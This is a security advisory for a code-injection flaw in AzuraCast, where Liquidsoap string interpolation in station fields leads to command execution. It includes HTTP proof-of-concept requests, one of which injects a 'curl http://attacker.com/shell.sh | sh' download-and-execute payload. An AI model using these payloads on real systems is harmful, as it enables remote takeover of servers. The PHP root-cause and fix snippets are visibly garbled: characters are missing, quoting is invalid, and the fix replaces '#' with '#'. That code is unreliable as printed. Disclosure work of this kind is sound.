PT-2026-26498 — Code Injection in Packagist Azuracast/Azuracast

PT-2026-26498 · Packagist · Azuracast/Azuracast

Published

2026-03-09

Updated

2026-03-09

CVSS v3.1

8.7

High

Vector

AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.

Root Cause

File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345

php

public static function cleanUpString(?string $string): string
{
  return str replace(['"', "
", "r"], [''', '', ''], $string ?? '');
}

This function only replaces " with ' and strips newlines. It does NOT filter:

#{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)
`` — Backslash escape character

Liquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.

Injection Points

All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:

Field	Permission Required	Config Line
`playlist.remote url`	`Media`	`input.http("...")` or `playlist("...")`
`station.name`	`Profile`	`name = "..."`
`station.description`	`Profile`	`description = "..."`
`station.genre`	`Profile`	`genre = "..."`
`station.url`	`Profile`	`url = "..."`
`backend config.live broadcast text`	`Profile`	`settings.azuracast.live broadcast text := "..."`
`backend config.dj mount point`	`Profile`	`input.harbor("...")`

PoC 1: Via Remote Playlist URL (Media permission)

http

POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API KEY WITH MEDIA PERMISSION>

{
  "name": "Malicious Remote",
  "source": "remote url",
  "remote url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
  "remote type": "stream",
  "is enabled": true
}

The generated liquidsoap.liq will contain:

liquidsoap

mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))

When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.

PoC 2: Via Station Description (Profile permission)

http

PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API KEY WITH PROFILE PERMISSION>

{
  "name": "My Station",
  "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}

Generates:

liquidsoap

description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"

Trigger Condition

The injection fires when the station is restarted, which happens during:

Normal station restart by any user with Broadcasting permission
System updates and maintenance
azuracast:radio:restart CLI command
Docker container restarts

Impact

Severity: Critical
Authentication: Required — any station-level user with Media or Profile permission
Impact: Full RCE on the AzuraCast server as the azuracast user
CWE: CWE-94 (Code Injection)

Recommended Fix

Update cleanUpString() to escape # and ``:

php

public static function cleanUpString(?string $string): string
{
  return str replace(
    ['"', "
", "r", '', '#'],
    [''', '', '', '', '#'],
    $string ?? ''
  );
}

Fix

Code Injection

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dbugs@ptsecurity.com

Weakness Enumeration

CWE-94

Related Identifiers

GHSA-93FX-5QGC-WR38

Affected Products

Azuracast/Azuracast